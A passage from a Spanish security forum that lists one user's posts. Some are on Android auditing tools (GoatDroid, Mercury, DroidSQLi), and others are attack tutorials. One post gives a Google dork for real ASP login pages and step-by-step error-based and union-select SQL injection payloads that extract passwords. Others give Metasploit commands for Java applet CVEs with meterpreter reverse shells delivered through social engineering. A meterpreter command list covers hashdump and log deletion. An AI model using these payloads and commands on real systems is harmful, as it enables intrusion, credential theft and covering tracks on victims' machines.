Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - Stuxnet

#11
Android / OWASP GoatDroid
28 Septiembre 2013, 05:57 AM

OWASP GoatDroid es un proyecto que ayudará a educar en materia de seguridad a los desarrolladores de aplicaciones Android.

Se trata de un entorno completamente funcional para aprender acerca de las vulnerabilidades y los fallos de seguridad en la extendida plataforma. El framework y la aplicación están basadas completamente en Java. No es necesario instalar un servidor web externo o un contenedor, aunque si necesitaremos MySQL, el SDK de Android y Eclipse. Cada servicio web corre en instancias Jetty embebidas y utiliza la implementación Jersey de JAX-RS.

Instalación:

1. Como comentábamos, es necesario tener previamente instalado Mysql, JDK, Eclipse y Android SDK.

2. Lo primero que haremos es crear un dispositivo virtual con un nivel 7 de API como mínimo.



3. Después importamos la base de datos FourGoats en MySQL: 'mysql -u username -p < fourgoats.sql'. El fichero fourgoats.sql está dentro del directorio /databases de la carpeta GoatDroid.

4. Dentro de MySQL ejecutamos: 'create user 'goatboy'@'localhost' identified by 'goatdroid'' (si queremos indicar otra contraseña tendremos que cambiarla en el código fuente de goatdroid.jar y re-exportar.

5. En MySQL, ejecutamos : 'grant insert, delete, update, select on fourgoats.*  to goatboy@localhost'

6. Ahora que la base de datos está configurada con las tablas y los datos de ejemplo, arrancamos goatdroid.jar haciendo clic o ejecutamos 'java -jar goatdroid.jar'



7. En el menú seleccionamos 'Configure y Edit' y añadimos las rutas de Eclipse y del SDK y los dispositivos virtuales:



8. Desplegamos la carpeta FourGoats en Apps, seleccionamos v1 y pulsamos el botón 'Iniciar servicio web':



9. Pulsamos el botón para iniciar el emulador y seleccionamos nuestro dispositivo virtual:



10. Una vez arrancado el dispositivo virtual, instalamos la aplicación pulsando el botón "Push App To Device". En caso de que fallara, podemos instalar el apk nosotros directamente: 'D:\Android\android-sdk\platform-tools>adb.exe install "d:\OWASP GoatDroid v0.1.2   BETA\goatdroid_apps\FourGoats\v1\android_app\FourGoats- Android Application.apk"'



11. Pinchamos en el icono creado para iniciar la aplicación y, antes de empezar a hacer nada, es necesario especificar el host y el puerto para conectarnos al servicio web. Para ello, pulsamo el botón 'Menú' y seleccionamos "Destination Info".



12. Por último, registramos y creamos una cuenta y nos loggeamos.





Se pueden descubrir vulnerabilidades de tipo:
           
Client-Side Injection
Server-Side           
Authorization Issues
Side Channel Information Leakage
Insecure           
Data Storage
Privacy Concerns                   
#12
Android / Mercury: Auditoria de aplicaciones Android
28 Septiembre 2013, 05:56 AM

Una de las herramientas que más nos llamaron la atención de la BlackHat Europe la que presentó Tyrone Erasmus en su ponencia 'The Heavy Metal That Poisoned the Droid' (whitepaper y slides).

Se llama Mercury de MWR Labs y es un framework gratuito que ayudará a los "cazadores" de bugs a encontrar vulnerabilidades, escribir exploits PoC y, en definitiva, a jugar con Android.

Se trata de una herramienta que nos permitirá examinar de forma dinámica y a explotar las posibilidades de ataque de las aplicaciones que residen en un dispositivo Android. Se divide en dos partes: una aplicación servidor que requiere pocos privilegios y se instala en el teléfono y un cliente escrito en Python para interactuar con el servidor desde la línea de comandos.




Características

El principal objetivo de Mercury es ser una herramienta de auditoría que pueda utilizarse con muchos propósitos. Algunas de sus características nos permitirán:

- Encontrar más fácilmente información relevante acerca de los vectores de ataque de una aplicación

- Interactuar con los 4 endpoints IPC (actividades, broadcast receivers, proveedores de contenido y servicios) de una aplicación desde la línea de comandos con el fin de encontrar vulnerabilidades

- Jugar con el sistema operativo Linux desde el punto de vista de una aplicación sin privilegios (sorprende lo mucho que se pueden ver)

- Encontrar información sobre los paquetes instalados con filtros de búsqueda opcionales que permiten un mejor control

- Subir y bajar ficheros sin usar ADB (¡esto incluye poder hacerlo a través de Internet también!)

- Escribir nuevos módulos con exploits para las vulnerabilidades encontradas por medio de una rango de comandos
predefinidos, y utilizar los módulos que otros hayan creado




Requisitos previos

- Teléfono o emulador con Android 2.2 o superior
- PC con Linux y Python 2.7 – (el autocompletar de comandos no funciona en Windows)

Instalación

- Descarga el zip desde aquí http://labs.mwrinfosecurity.com/assets/254/mercury-v1.0.zip
- Instala el servicio server/mercury.apk en el teléfono e inícialo:


- Arranca el cliente client/mercury.py en el PC

Citar./mercury.py

- Conecta con el servidor Mercury:

Si tenemos conectado el teléfono al PC por USB o estamos usando un emulador, necesitaremos redireccionar el puerto 31415 (puedes hacerlo con el comando 'adb forward tcp:31415 tcp:31415')

Si nos vamos a conectar al teléfono por la red inalámbrica, necesitaremos obtener la IP del teléfono, en nuestro caso la 192.168.1.35

- Escribimos en el cliente "connect" seguido de la dirección IP del teléfono (127.0.0.1 si utilizamos un emulador o lo tenemos conectado por USB al PC)

mercury: connect 192.168.1.35

Commands - type help for more info
--------------------------------------------
activity broadcast help packages service tools
back debuggable modules provider shell


Empezando a jugar con Mercury

Cuando buscamos fugas de información en un dispositivo Android, los proveedores de contenido exportados son un buen comienzo. Dentro de la sección 'provider', con 'info -p null' obtendremos un listado de todos estos proveedores y sólo tendremos que ver aquellos que no requieran permisos para leerlos (Required Permission - Read: null o Required Permission - Write: null).

El desarrollador de una aplicación tiene que configurar específicamente 'android:readPermission' o 'android:permission' en el proveedor de contenidos dentro del fichero 'AndroidManifest.xml' si no quiere que la información sea accesible por otras aplicaciones del dispositivo. Si no lo hace, a veces no encontraremos información delicada y otras veces encontraremos datos que al desarrollador no le gustaría que leyéramos.

*mercury: provider
*mercury#provider: info -p null

Package name: com.sec.android.app.callsetting
Authority: com.sec.android.app.callsetting.allcalls
Required Permission - Read: null
Required Permission - Write: null
Grant Uri Permissions: false
Multiprocess allowed: false


Una vez que seleccionamos la aplicación objetivo, el siguiente paso será obtener las direcciones de sus contenedores (content URI). Para ello utilizaremos el comando 'finduri':

*mercury#provider: finduri com.sec.android.app.callsetting

/system/app/CallSetting.apk:
Contains no classes.dex

/system/app/CallSetting.odex:
content://com.sec.android.app.callsetting.allcalls/prefix_num
content://com.sec.android.app.callsetting.allcalls/reject_msg
content://com.sec.android.app.callsetting.allcalls/reject_num


Para mostrarnos esta información el comando finduri ha tenido que seguir los siguientes pasos para la enumeración:
- Encontrar la localización del fichero APK
- Descomprimir el fichero classes.dex situado dentro del APK (si no lo hubiera, buscaría los ODEX del paquete)
- Emplear código similar al string de UNIX para encontrar todas las cadenas válidas dentro del binario (fichero DEX u ODEX)
- Filtrar la salida final parseando las cadenas con content://.

Ahora que tenemos las direcciones de los contenedores, con query podemos leer su contenido. Por ejemplo:

*mercury#provider: query content://com.sec.android.app.callsetting.allcalls/reject_msg

_id | reject_message | edit_checked
.....

1 | Lo siento, estoy ocupado. LLámame más tarde | 2131165242

2 | Estoy en una reunión | 2131165243

3 | Estoy en clase | 2131165244

4 | Estoy en el cine | 2131165245

5 | Estoy conduciendo | 2131165246


E incluso realizar inyecciones SQL:

*mercury#provider> query content://com.sec.android.app.callsetting.allcalls/prefix_num --projection "'"

unrecognized token: "' FROM prefix_num": , while compiling: SELECT ' FROM prefix_num

*mercury#provider> query content://com.sec.android.app.callsetting.allcalls/prefix_num --projection "* FROM SQLITE_MASTER--"

type | name | tbl_name | rootpage | sql
.....

table | android_metadata | android_metadata | 3 | CREATE TABLE android_metadata (locale TEXT)

table | prefix_num | prefix_num | 4 | CREATE TABLE prefix_num (_id INTEGER PRIMARY KEY AUTOINCREMENT, prefix_number TEXT NOT NULL,prefix_checked INTEGER)

table | sqlite_sequence | sqlite_sequence | 5 | CREATE TABLE sqlite_sequence(name,seq)
#13
Android / DroidSQli
28 Septiembre 2013, 05:53 AM

DroidSQLi es la primera herramienta de inyección MySQL automatizado para Android. Le permite probar la aplicación web basado en MySQL contra ataques de inyección SQL.

DroidSQLi compatible con las técnicas de inyección siguientes:

- Inyección basada Tiempo
- Inyección de Ciegos
- Inyección basado Error
- Inyección normal


Se selecciona automáticamente la mejor técnica a utilizar y emplea algunos métodos de evasión de filtros simples.

Esta herramienta sin duda! va ayudar a nuestros trabajos como pentester, y seria muy bueno diseñar todo este tipo de herramientas para realizar nuestras auditorias de seguridad web desde android.


#14
Nivel Web / Inyección SQL a Login ASP
3 Septiembre 2013, 05:54 AM

La inyección SQL es el ataque vía web, que aprovecha errores en la filtración de datos introducidos por el usuario, y que permiten a un atacante, tener control de cierta aplicación.

Dork: inurl:login.asp

En el en campo "Clave de Acceso" y "Password" del login escribimos:

' having 1= 1--


Al hacerlo nos dara el seguiente error:


Sabemos que es vulnerable y nos acaba de dar el nombre de la tabla y la columna "Usuario.Clave, teniendo esto regresamos a nuestro login y escribimos:

' group by Usuario.Clave having 1 = 1--

Hacemos la inyección y el siguiente error sera así:


Nos acaba de dar el nombre de la tabla y la columna "Usuario.Nombre", teniendo esto regresamos a nuestro login y escribimos:

' group by Usuario.Clave, Usuario.Nombre having 1=1--

Hacemos la inyección y el siguiente error sera así:


Nos acaba de dar el nombre de la tabla y la columna "Usuario.Clave_de_Acceso", teniendo esto regresamos a nuestro login y escribimos:

' group by Usuario.Clave, Usuario.Nombre, Usuario.Clave_de_Acceso having 1=1--

Hacemos la inyección y el siguiente error sera así:


Nos acaba de dar el nombre de la tabla y la columna "Usuario.Password", teniendo esto regresamos a nuestro login y escribimos:

' group by Usuario.Clave, Usuario.Nombre, Usuario.Clave_de_Acceso, Usuario.Password having 1=1--

Hacemos la inyección y el siguiente error sera así:


Nos acaba de dar el nombre de la tabla y la columna "Usuario.Tipo_de_Usuario", teniendo esto regresamos a nuestro login y escribimos:

' group by Usuario.Clave, Usuario.Nombre, Usuario.Clave_de_Acceso, Usuario.Password, Usuario.Tipo_de_Usuario having 1=1--

Hacemos la inyección y el siguiente error sera así:



Nos acaba de dar el nombre de la tabla y la columna "Usuario.Tunto_de_Captura", teniendo esto regresamos a nuestro login y escribimos:


' group by Usuario.Clave, Usuario.Nombre, Usuario.Clave_de_Acceso, Usuario.Password, Usuario.Tipo_de_Usuario, Usuario.Punto_de_Captura having 1=1--


Hacemos la inyección y el siguiente error sera así:


Nos acaba de dar el nombre de la tabla y la columna "Usuario.ESTATUS", teniendo esto regresamos a nuestro login y escribimos:

' group by Usuario.Clave, Usuario.Nombre, Usuario.Clave_de_Acceso, Usuario.Password, Usuario.Tipo_de_Usuario, Usuario.Punto_de_Captura, Usuario.ESTATUS having 1=1--

Como podemos observar al hacer esto nos dira "clave de acceso y/o password incorrectos" esto quiere decir que hemos terminado de buscar las tablas y columnas.


Nuestra siguiente inyección sera de esta forma:

' union select 1,1,1,1,1,1,min(Clave_de_Acceso) from Usuario where Clave_de_Acceso > 'a'--

Esta parte tenemos 6 unos y min(LOGIN) es la posición al hacer la inyección les arroja los datos.

La posión de los unos puede varia un ejemplo podría ser:

' union select 1,1,1,1,min(Clave_de_Acceso)1,1 from Usuario where Clave_de_Acceso > 'a'--


Curiosamente al hacer la inyección de esta forma tenemos el acceso:

' union select 1,1,1,1,1,1,min(Password) from Usuario where Clave_de_Acceso > 'ADMIN'--



La inyección para que les arroje la password es:

' union select 1,1,1,1,1,1,min(Password) from Usuario where Password > 'ADMIN'--

#15
Excelente tutorial soez te felicito  ;-)

Saludos.
#16
Bugs y Exploits / CVE-2013-2460
2 Septiembre 2013, 03:46 AM

CVE-2013-2460 Java Applet ProviderSkeleton Insecure Invoke Method

Este módulo de Metasploit abusa el método inseguro invoke()  de la clase de ProviderSkeleton que permite para llamar a métodos estáticos arbitrarios con argumentos de usuario. La vulnerabilidad afecta a la versión Java 7u21 y versiones anteriores.


Explotando CVE-2013-2460 con mestasploit:

// Cargamos el módulo

msf > use exploit/multi/browser/java_jre17_provider_skeleton

// Cargamos el payload para el meterpreter

msf exploit(java_jre17_provider_skeleton) > set PAYLOAD java/meterpreter/reverse_tcp

msf exploit(java_jre17_provider_skeleton) > set LHOST [IP Local]

msf exploit(java_jre17_provider_skeleton) > set srvhost [IP Local]

msf exploit(java_jre17_provider_skeleton) > set uripath /

msf exploit(java_jre17_provider_skeleton) > exploit


Ahora realizamos un poco de Ingeniería Social para enviar la dirección generada por el metasploit para hacer la sesion meterpreter.

#17
Bugs y Exploits / CVE-2013-2465
2 Septiembre 2013, 03:44 AM

CVE-2013-2465 - Java storeImageArray() Invalid Array Indexing

Este módulo de Metasploit abusa de la Vulnerabilidad matriz indexación no válida en la función storeImageArray() de la función estática para producir una corrupción de memoria y finalmente evadir el Sandbox de Java. La vulnerabilidad afecta a Java versión 7u21 y versiones anteriores.


Explotando CVE-2013-2465 con mestasploit:


msf > use exploit/multi/browser/java_storeimagearray

msf exploit(java_storeimagearray) > set PAYLOAD java/meterpreter/reverse_tcp

msf exploit(java_storeimagearray) > set LHOST [IP Local]

msf exploit(java_storeimagearray) > set srvhost [IP Local]

msf exploit(java_storeimagearray) > set uripath /

msf exploit(java_storeimagearray) > exploit


Ahora realizamos un poco de Ingeniería Social para enviar la dirección generada por el metasploit para hacer la sesion meterpreter.
#18
Hacking / Comandos Meterpreter
16 Noviembre 2012, 01:44 AM
Meterpreter es un Payload que se ejecuta después del proceso de explotación o abuso de una vulnerabilidad en un sistema operativo, meterpreter es el diminutivo para meta-interprete y se ejecuta completamente en memoria; evitando así tener problemas con los Antivirus.

En este artículo se describen algunas de las características más importantes de este shellcode como son:

   1. Eliminación de archivos de Log.
   2. Captura de pantalla.
   3. Carga y descarga de archivos.
   4. Copiar información.
   5. Extracción de información de configuración: Tablas de enrutamiento, tarjetas de red, registro de Windows, configuración de seguridad, archivos compartidos, configuración de firewall, etc, etc.

Core Commands

Background

Ejecuta la sesión actual en segundo plano para retornar a la línea de comandos de Meterpreter, para regresar a la sesión se ejecuta el comando tradicional (sessions –i 1).    





Migrate

Permite migrarse a otro proceso en la maquina víctima.    





File Systems Commands

LS

Permite visualizar los archivos en el directorio remoto actual.    



Download

Permite descargar un archivo de la maquina atacada, es necesario hacer uso del back-slash doble en la ruta del mismo    



Upload


Permite cargar un archivo en una ruta especifica, de la misma manera que el comando download es necesario hacer uso del doble slash al momento de indicar la ruta.    



Search

Permite buscar archivos en la maquina víctima, además:

1. Permite indicar el tipo de archivo.

2. Permite indicar la ruta donde se quiere realizar la búsqueda.    






Networking Commads

Ipconfig

Permite visualizar todas la información de todas tarjetas de red existentes en la maquina atacada.    



Route

Permite consultar y modificar la tabla de enrutamiento.    



System Commads

Execute

Permite ejecutar un comando.    



Getprivs

Permite obtener tantos privilegios de administración como sea posible.    



Getuid

Permite consultar el tipo de usuario que la maquina victima esta ejecutando.    



Ps

Permite consultar todos los procesos que están en ejecución.    



Shell

Permite obtener un Shell, o línea de comando.    



SysInfo

Permite obtener información del sistema remoto como:

1. Nombre de la maquina.
2. Sistema Operativo.
3. Tipo de arquitectura.
4. Lenguaje del sistema operativo.    



User Interface Commads

Enumdesktops

Permite consultar todas las sesiones (o escritorios).    



Idletime

Permite consultar el tiempo en el que el usuario de la maquina victima ha estado ausente.    



Screenshot

Permite extraer una imagen del escritorio remoto.    



Uictl

Permite controlar algunos de los componentes del sistema afectado.    



Password Database Commads

Hashdump

Permite consultar el contenido del la base de datos SAM en sistemas Windows.

#19
Puedes empezar con python, pascal.

Luego puedes seguir con c/c++ delphi, visual basic, asm.

Saludos
#20
ASM / Re: Masm32
7 Noviembre 2012, 23:43 PM
Cita de: MCKSys Argentina en  7 Noviembre 2012, 21:00 PM
Si te gusta MASM32, vas a adorar jWASM: http://www.japheth.de/JWasm.html

Excelente Gracias.

Hay cosas muy interesantes en esa web no la conocia.

Bytes.